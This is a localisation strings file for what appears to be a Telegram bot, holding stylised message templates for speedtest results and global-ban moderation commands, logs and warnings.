server_14 : "↻ sʜᴀʀɪɴɢ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs..."
server_15 : "✯ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs ✯\n\nᴄʟɪᴇɴᴛ :\n» ɪsᴩ : {0}\n» ᴄᴏᴜɴᴛʀʏ : {1}\n\nsᴇʀᴠᴇʀ :\n» ɴᴀᴍᴇ : {2}\n» ᴄᴏᴜɴᴛʀʏ : {3}, {4}\n» sᴩᴏɴsᴏʀ : {5}\n» ʟᴀᴛᴇɴᴄʏ : {6}\n» ᴩɪɴɢ : {7}"
gban_1 : "» ᴡʜʏ ᴅɪᴅ ʏᴏᴜ ᴡᴀɴɴᴀ ɢʙᴀɴ ʏᴏᴜʀsᴇʟғ ʙᴀʙʏ ?"
gban_2 : "» ᴡʜʏ sʜᴏᴜʟᴅ ɪ ɢʙᴀɴ ᴍʏsᴇʟғ ?"
gban_3 : "» ʏᴏᴜ ᴄᴀɴ'ᴛ ɢʙᴀɴ ᴍʏ sᴜᴅᴏᴇʀs."
gban_4 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
gban_5 : "» ɪɴɪᴛɪᴀʟɪᴢɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0}.\n\nᴛɪᴍᴇ ᴇxᴘᴇᴄᴛᴇᴅ : {1}"
gban_6 : "ɴᴇᴡ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0} :\n\nᴏʀɪɢɪɴᴀᴛᴇᴅ ғʀᴏᴍ : {1} [{2}]\nᴜsᴇʀ : {3}\nᴜsᴇʀ ɪᴅ : {4}\n\nʙᴀɴɴᴇᴅ ʙʏ : {5}\nᴄʜᴀᴛs : {6}"
gban_7 : "» {0} ɪs ɴᴏᴛ ɢʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
gban_8 : "» ʟɪғᴛɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\n\nᴇxᴘᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}"
gban_9 : "» ʟɪғᴛᴇᴅ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\n\nᴜɴʙᴀɴɴᴇᴅ ɪɴ {1} ᴄʜᴀᴛs."
gban_10 : "» ɴᴏ ᴏɴᴇ ɪs ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
gban_11 : "» ғᴇᴛᴄʜɪɴɢ ɢʙᴀɴɴᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
gban_12 : "🙂 ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs :\n\n"
gban_log : "乛🖇️ 𝙉𝙚𝙬 𝙂𝙡𝙤𝙗𝙖𝙡 𝘽𝙖𝙣 ~\n°───────❅───────°\n\n❄️ 𝘎𝘣𝘢𝘯𝘯𝘦𝘥 𝘉𝘺 ~ {0} [ @{1} ] !\n• ─────── •\n☘️ 𝘉𝘢𝘯𝘯𝘦𝘥 𝘜𝘴𝘦𝘳 ~ {2} !\n• ─────── •\n🍂 𝘞𝘪𝘵𝘩 𝘙𝘦𝘢𝘴𝘰𝘯 ~ {3}\n\n•───────────────────•"
gban_warning : "🖇️ {0} Is ɢʙᴀɴɴᴇᴅ..!!\n\n[⚠️] Iғ ʏᴏᴜ ɢɪᴠᴇ ɢʙᴀɴ ᴡɪᴛʜᴏᴜᴛ ᴀɴʏ ᴠᴀʟɪᴅ ʀᴇᴀsᴏɴ ʏᴏᴜ ᴡɪʟʟ ʙᴇ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀ. Sᴏ ʙᴇ ᴄᴀʀᴇғᴜʟʟ..!!\n\n 🍂 Rᴇɢᴀʀᴅs ~ @BRANDRD_BOT"
ugban_log : "乛🌿 𝙉𝙚𝙬 𝙐𝙣-𝙂𝙗𝙖𝙣𝙣𝙚𝙙 ~\n°───────❅───────°\n\n🍂 𝘜𝘯-𝘎𝘣𝘢𝘯𝘯𝘦𝘥 𝘉𝘺 ~ {0} [ @{1} ] !\n• ─────── •\n⛓️ 𝘜𝘯-𝘎𝘉𝘢𝘯𝘯𝘦𝘥 𝘜𝘴𝘦𝘳 ~ {2} !\n• ─────── •\n☘️ 𝘞𝘪𝘵𝘩 𝘙𝘦𝘢𝘴𝘰𝘯 ~ {3}\n\n•───────────────────•"